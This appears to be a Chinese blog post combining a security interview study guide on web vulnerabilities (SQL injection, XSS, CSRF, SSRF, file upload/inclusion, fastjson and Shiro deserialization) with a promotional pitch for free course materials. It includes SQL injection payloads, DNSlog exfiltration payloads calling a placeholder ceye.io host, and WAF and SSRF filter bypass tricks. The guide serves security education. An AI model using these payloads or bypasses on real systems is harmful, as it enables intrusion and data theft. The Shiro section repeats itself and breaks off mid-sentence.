护网行动网络安全学习指南:小白程序员必备,收藏必备知识!
发布时间:2026/8/18 5:50:12 作者:尧图编辑部 阅读量:1,286

护网行动网络安全学习指南小白程序员必备收藏必备知识本文详细介绍了“护网行动”的概念、目的和实施方式旨在帮助网络安全小白和程序员了解网络安全的重要性。文章还涵盖了常见的网络安全漏洞如SQL注入、XSS、CSRF、SSRF、文件上传漏洞等并提供了相应的防御和修复方法。此外文章还介绍了内网渗透、权限维持、Webshell管理工具、脱壳、溯源方法以及WAF原理和绕过等知识为读者提供了全面的网络安全学习资源。免责声明请勿利用文章内的相关技术从事非法测试如因此产生的一切不良后果与文章作者和本公众号无关。一旦造成后果请自行承担如有侵权烦请告知我们会立即删除并致歉。谢谢什么是“护网行动”「护网行动」是以「公安部牵头」的用以评估企事业单位的网络安全的活动。具体实践中公安部会组织攻防两方进攻方会在一个月内对防守方发动网络攻击检测出防守方企事业单位存在的安全漏洞。通过与进攻方的对抗企事业单位网络、系统以及设备等的安全能力会大大提高。当前我国网络安全形势严峻「为了防止羊被偷我们得在羊被偷之前就开始识别风险、加固羊圈建设」。护网行动就是在这样的背景下开展的。护网行动每年举办一次政府单位、事业单位、国企单位、名企单位等都必须参与「护网行动」是国家应对网络安全问题所做的重要布局之一。“护网行动”从2016年开始随着我国对网络安全的重视涉及单位不断扩大越来越多的单位都加入到护网行动中网络安全对抗演练越来越贴近实际情况各机构对待网络安全需求也从被动构建升级为业务保障刚需。护网分类护网一般按照行政级别分为国家级护网省级护网市级护网重大节日活动护网如建党一百周年冬奥会等护网时间每年的5、6月左右开始不确定持续2~3周时间护网的规则护网一般分为「红蓝两队」做红蓝对抗。红队为攻击队红队的构成主要有“国家队”国家的网安等专门从事网络安全的技术人员、厂商的渗透技术人员。其中“国家队”的占比大概是60%左右厂商的技术人员组成的攻击小队占比在40%左右。一般来说一个小队大概是3个人分别负责信息收集、渗透、打扫战场的工作。蓝队为防守队一般是随机抽取一些单位参与。开始面经分享基础漏洞部分00-TOP10漏洞1、SQL注入 2、失效的身份认证和会话管理3、跨站脚本攻击XSS4、直接引用不安全的对象5、安全配置错误6、敏感信息泄露7、缺少功能级的访问控制8、跨站请求伪造CSRF9、使用含有已知漏洞的组件10、未验证的重定向和转发01-SQL注入漏洞SQL注入原理SQL注入是一种代码注入技术用于攻击数据驱动的应用程序。在应用程序中如果没有做恰当的过滤则可能使得恶意的SQL语句被插入输入字段中执行例如将数据库内容转储给攻击者。2.SQL注入分类(1)注入点的不同分类●数字类型的注入●字符串类型的注入(2)提交方式的不同分类●GET注入●POST注入●COOKIE注入●HTTP注入(3)获取信息的方式不同分类●基于布尔的盲注如果数据库中可以查到相应的数据页面会正常显示反之异常。●基于时间的盲注无论输入任何数据页面的效果完全一样根据页面是否延迟判断出数据库中查询出的结果。●基于报错的注入还有二次注入宽字节注入等盲注和延时注入的共同点都是一个字符一个字符的判断盲注原理 1. 核心 将数据库中查询的数据结果进行截断为单个字符然后同构造逻辑语句。通过判断页面显示是 否异常或页面是否演示来判断数据库中查询的结果 3 .SQL注入防御SQL语句预编译和绑定变量使用足够严格的过滤和安全防御4.SQL注入判断注入点的思路寻找与数据库交互的可控参数GETPOSTCOOKIEHTTP头5.报错注入的函数有哪些extractvalue(1, concat(0x5c,(select user())))updatexml(0x3a,concat(1,(select user())),1)exp((SELECT * from(select user())a))ST_LatFromGeoHash((select * from(select * from(select user())a)b))GTID_SUBSET(version(), 1)6.Sql 注入无回显的情况下利用 DNSlogmysql 下利用什么构造代码mssql 下又如何1没有回显的情况下一般编写脚本进行自动化注入。但与此同时由于防火墙的存在容易被封禁IP可以尝试调整请求频率有条件的使用代理池进行请求。2此时也可以使用 DNSlog 注入原理就是把服务器返回的结果放在域名中然后读取 DNS 解析时的日志来获取想要的信息。3Mysql 中利用 load_file() 构造payload ’ and if((select load_file(concat(‘//’,(select database()),‘.xxx.ceye.io/abc’))),1,0)#4Mssql 下利用 master…xp_dirtree 构造payloadDECLARE host varchar(1024);SELECT host(SELECT db_name())‘.xxx.ceye.io’;EXEC(‘master…xp_dirtree’host‘/foobar$’);SQL注入时 and or 被过滤怎办1.大小写变形 2.编码 3.添加注释 4.双写法 5.利用符号形式 6.浮点数 #数字被注释 7.函数替代 #符号被注释sql 注入常见的过 WAF 方法绕过技术1关键字可以用%只限 IIS 系列。比如 select可以 sel%e%ct2通杀的内联注释如 /!select/3编码可两次编码4multipart 请求绕过在 POST 请求中添加一个上传文件绕过了绝大多数 WAF5参数绕过复制参数id1id16组合法 如 and 可以用再 URL 编码7、替换法如 and 改成;可以用 like 或 in 等sql注入的告警的流量特征看哪些方面 如and 11、order by、单引号/双引号、union select、information_schema column_name 字段名 table_name 字段所属表名 table_schema 字段所属表所属库的名字02-xss漏洞原理XSS全称为Cross Site Scripting为了和CSS分开简写为XSS中文名为跨站脚本。该漏洞发生在用户端是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。2.分类反射型XSS储存型XSSDOM XSS3.危害1.用户的Cookie被获取其中可能存在Session ID等敏感信息。若服务器端没有做相应防护攻击者可用对应Cookie登陆服务器。2.攻击者能够在一定限度内记录用户的键盘输入。3.攻击者通过CSRF等方式以用户身份执行危险操作。4.XSS蠕虫。5.获取用户浏览器信息。6.利用XSS漏洞扫描用户内网。4.防御总体思路:对用户输入进行过滤,对输出进行编码;1.对用户输入进行XSS防御方式有2种:基于黑名单的过滤和基于白名单的过滤. 而白名单相对来说更安全;黑名单:只规定哪些数据不能被输入,很可能被绕过;比如对 ’ 等进行过滤白名单:只定义哪些数据正常才能被提交;2.设置http-only参数为true,这样JS就不能读取cookie信息了;(特殊常见可能被绕过)3.使用一些函数进行防御4.不要随意打开一些来历不明的网站或链接如何快速判定XSS类型存储型XSS你发送一次带XSS代码的请求以后这个页面的返回包里都会有XSS代码反射型XSS你发送一次带XSS代码的请求只能在当前返回的数据包中发现XSS代码DOM型XSS你发送一次带XSS代码的请求在返回包里压根儿就找不到XSS代码的影子存储型XSS怎么利用XSS攻击的原理是通过修改或者添加页面上的JavaScript恶意脚本在浏览器渲染页面的时 候执行该脚本从而实现窃取COOKIE或者调用Ajax实现其他类型的CSRF攻击还可以插入 beef进行钓鱼等 CORS浏览器同源策略 js ajax 去请求其他网站的东西 test.com 根据浏览器的CORS策略 他只能在test.com里面请求东西 test.com 调用ajax 去访问 xxxx.com assdasd.test.com 如果目标的CORS头 默 认不放行test.com 这样 test.com 的ajax请求就不会访问其他网站03-csrf漏洞1原理当黑客发现某网站存在CSRF漏洞并且构造攻击参数将payload制作成网页用户访问存在CSRF漏洞的网站并且登录到后台获取cookie此时黑客发送带有payload的网址给用户用户同时打开黑客所发来的网址执行了payload则造成了一次CSRF攻击03.2形成原因主要是漏洞网站没有经过二次验证和用户在浏览漏洞网站的时候同时点击了hack制造的payload03.3.如何防止 CSRF?1.验证 referer2.验证 token03.4csrf成功利用的条件1- 用户在统一浏览器下2- 没有关闭浏览器的情况下3- 访问了攻击者精心伪装好的恶意链接04-ssrf漏洞1 原理SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下SSRF 攻击的目标是从外网无法访问的内部系统1服务器允许向其他服务器获取资源2但是并没有对该地址做严格的过滤和限制3所以导致了攻击者可以向受害者服务器传入任意的URL 地址并将数据返回2防御1.限制请求的端口为 HTTP常用的端口比如 80,443,8080,8088 等2.黑名单内网 IP。3.禁用不需要的协议仅仅允许 HTTP 和 HTTPS3.SSRF 禁用 127.0.0.1 后如何绕过支持哪些协议(1)利用进制转换(2)利用DNS解析(3)利用句号127。0。0。1(4)利用[::]http://[::]:80/(5)利用http://example.com127.0.0.1(6)利用短地址http://dwz.cn/11SMa(7)协议Dict://、SFTP://、TFTP://、LDAP://、Gopher://最主要的是可以搞内网漏洞存在的地方1.能够对外发起网络请求的地方2.请求远程服务器资源的地方3.数据库内置功能4.邮件系统5.文件处理6.在线处理工具05-文件上传漏洞0原理由于程序员在对用户文件上传功能实现代码没有严格限制用户上传文件后缀以及文件类型或者处理缺陷而导致用户可以越过本身权限向服务器上传木马去控制服务器.05.1文件上传分类黑白名单05.2危害操作木马文件提权 获取网站权限05.3绕过方法1.黑名单a.后缀名不完整 .php5 .phtml等b.上传.htacessc.大小写d.在数据包中 后文件缀名前加空格e.后缀名前加.f.加上::$DATAg.未循环验证可以使用x.php…类似的方法2.白名单一般需要配合其他漏洞一起利用a.%00截断b.图片马c.条件竞争05.4修复1.后端验证采用服务端验证模式2.后缀验证基于白名单黑名单过滤3.MIME验证基于上传自带类型艰检测4.内容检测文件头完整性检测5.自带函数过滤06-文件包含漏洞1类型1.本地文件包含2.远程文件包含 即加载远程文件在php.ini中开allow_url_include 、allow_url_fopen选项。开启后可以直接执行任意代码。PHP文件包含函数1.include()使用此函数只有代码执行到此函数时才将文件包含进来发生错误时只警告并继续执行。2.inclue_once()功能和前者一样区别在于当重复调用同一文件时程序只调用一次。3.require()使用此函数只要程序执行立即调用此函数包含文件发生错误时会输出错误信息并立即终止程序。4.require_once()功能和前者一样区别在于当重复调用同一文件时程序只调用一次。06.2利用1.读取敏感文件2.远程包含shell3.图片上传并包含图片shenll4.使用伪协议shenll5.包含日志文件GetShell6.截断包含06.3修复方案1.禁止远程文件包含allow_url_includeoff2.配置open_basedir指定目录限制访问区域。3.过滤…/等特殊符号4.修改Apache日志文件的存放地址5.开启魔术引号magic_quotes_qpcon6.尽量不要使用动态变量调用文件直接写要包含的文件06.4文件包含的伪协议file:// 访问本地文件系统http:// 访问 HTTPs 网址ftp:// 访问 ftp URLPhp:// 访问输入输出流Zlib:// 压缩流Data:// 数据Ssh2:// security shell2Expect:// 处理交互式的流07-反序列化漏洞php反序列化原理未对用户输入的序列化字符串进行检测导致攻击者可以控制反序列化过程从而导致代码执行SQL注入目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法2.java反序列化原理1Java序列化指Java对象转换为字节序列的过程2Java反序列化指字节序列恢复为Java对象的过程3 Commons-collections 爆出第一个漏洞开始Java反序列化漏洞的事件就层出不穷。4在Java中,利用ObjectInputStream的readObject方法进行对象读取5可以深入了解 ysoserial有哪些gadgets3.1fastjson工作形式fastjson的功能就是将json格式转换为类、字符串等供下一步代码的调用或者将类、字符串等数据转换成json数据进行传输有点类似序列化的操作3.2fastjson利用方式1.对于 fastjson版本 1.2.24的情况利用思路主要有2种通过触发点JSON.parseObject()这个函数将json中的类设置成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并通过特意构造达到命令执行利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplTemplatesImpl类而这个类有一个字段就是_bytecodes有部分函数会根据这个_bytecodes生成java实例这就达到fastjson通过字段传入一个类再通过这个类被生成时执行构造函数。2.通过JNDI注入jndi是一个Java命令和目录接口举个例子通过jndi进行数据库操作无需知道它数据库是mysql还是ssql还是MongoDB等它会自动识别。当然rmi也可以通过jndi实现rmi的作用相当于在服务器上创建了类的仓库的api客户端只用带着参数去请求服务器进行一系列处理后把运算后的参数还回来。jndi注入原理就是将恶意的Reference类绑定在RMI注册表中其中恶意引用指向远程恶意的class文件当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类从而加载远程服务器上的恶意class文件在客户端本地执行最终实现JNDI注入攻击导致远程代码执行序列化操作和反序列化操作需要的函数函数 作用JSON.toJSONString(Object) 将对象序列化成json格式JSON.toJSONString(Object,SerializerFeature.WriteClassName) 将对象序列化成json格式并且记录了对象所属的类的信息JSON.parse(Json) 将json格式返回为对象(但是反序列化类对象没有Type时会报错)JSON.parseObject(Json) 返回对象是com.alibaba.fastjson.JSONObject类JSON.parseObject(Json, Object.class) 返回对象会根据json中的Type来决定JSON.parseObject(Json, User.class, Feature.SupportNonPublicField); 会把Json数据对应的类中的私有成员也给还原3fastjson不出网怎么利用目前公开已知的poc有两个com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplorg.apache.tomcat.dbcp.dbcp2.BasicDataSource第一种利用方式需要一个特定的触发条件解析JSON的时候需要使用Feature才能触发参考如下代码JSONObject.parseObject(sb.toString(), new Feature[]{Feature.SupportNonPublicField});第二种利用方式则需要应用部署在Tomcat应用环境中因为Tomcat应用环境自带tomcat-dbcp.jar对于SpringBoot这种自带Tomcat可以直接以单个jar文件部署的需要在maven中配置tomcat-dbcp。而且对于不同的Tomcat版本使用的poc也不同Tomcat 8.0以后使用org.apache.tomcat.dbcp.dbcp2.BasicDataSourceTomcat 8.0以下使用org.apache.tomcat.dbcp.dbcp.BasicDataSource无回显怎么办 1.一种是直接将命令执行结果写入到静态资源文件里如html、js等然后通过http访问就 可以直接看到结果 2.通过dnslog进行数据外带但如果无法执行dns请求就无法验证了 3.直接将命令执行结果回显到请求Poc的HTTP响应中**shrio反序列化漏洞原理 shrio550的原理Apache Shiro框架提供了记住密码的功能RememberMe用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie550的原理Apache Shiro框架提供了记住密码的功能RememberMe用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie互动话题如果你对网络攻防技术感兴趣想学习更多网安方面的知识和工具可以看看以下题外话题外话黑客/网络安全学习路线今天只要你给我的文章点赞我私藏的网安学习资料一样免费共享给你们来看看有哪些东西。网络安全学习资源分享:下面给大家分享一份2026最新版的网络安全学习路线资料帮助新人小白更系统、更快速的学习黑客技术一、2026最新网络安全学习路线一个明确的学习路线可以帮助新人了解从哪里开始按照什么顺序学习以及需要掌握哪些知识点。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。**读者福利 |***CSDN大礼包《网络安全入门进阶学习资源包》免费分享 *安全链接放心点击我们把学习路线分成L1到L4四个阶段一步步带你从入门到进阶从理论到实战。L1级别:网络安全的基础入门L1阶段我们会去了解计算机网络的基础知识以及网络安全在行业的应用和分析学习理解安全基础的核心原理关键技术以及PHP编程基础通过证书考试可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。L2级别网络安全的技术进阶L2阶段我们会去学习渗透测试包括情报收集、弱口令与口令爆破以及各大类型漏洞还有漏洞挖掘和安全检查项目可参加CISP-PTE证书考试。L3级别网络安全的高阶提升L3阶段我们会去学习反序列漏洞、RCE漏洞也会学习到内网渗透实战、靶场实战和技术提取技术系统学习Python编程和实战。参加CISP-PTE考试。L4级别网络安全的项目实战L4阶段我们会更加深入进行实战训练包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握而L3 L4更多的是通过项目实战来掌握核心技术针对以上网安的学习路线我们也整理了对应的学习视频教程和配套的学习资料。二、技术文档和经典PDF书籍书籍和学习文档资料是学习网络安全过程中必不可少的我自己整理技术文档包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点电子书也有200多本书籍含电子版PDF三、网络安全视频教程对于很多自学或者没有基础的同学来说书籍这些纯文字类的学习教材会觉得比较晦涩难以理解因此我们提供了丰富的网安视频教程以动态、形象的方式展示技术概念帮助你更快、更轻松地掌握核心知识。网上虽然也有很多的学习资源但基本上都残缺不全的这是我自己录的网安视频教程上面路线图的每一个知识点我都有配套的视频讲解。四、网络安全护网行动/CTF比赛学以致用当你的理论知识积累到一定程度就需要通过项目实战在实际操作中检验和巩固你所学到的知识同时为你找工作和职业发展打下坚实的基础。五、网络安全工具包、面试题和源码“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等感兴趣的同学不容错过。面试不仅是技术的较量更需要充分的准备。在你已经掌握了技术之后就需要开始准备面试我们将提供精心整理的网安面试题库涵盖当前面试中可能遇到的各种技术问题让你在面试中游刃有余。如果你是要找网安方面的工作它们绝对能帮你大忙。这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的如果大家有好的题目或者好的见解欢迎分享。参考解析深信服官网、奇安信官网、Freebuf、csdn等内容特点条理清晰含图像化表示更加易懂。内容概要包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…**读者福利 |***CSDN大礼包《网络安全入门进阶学习资源包》免费分享 *安全链接放心点击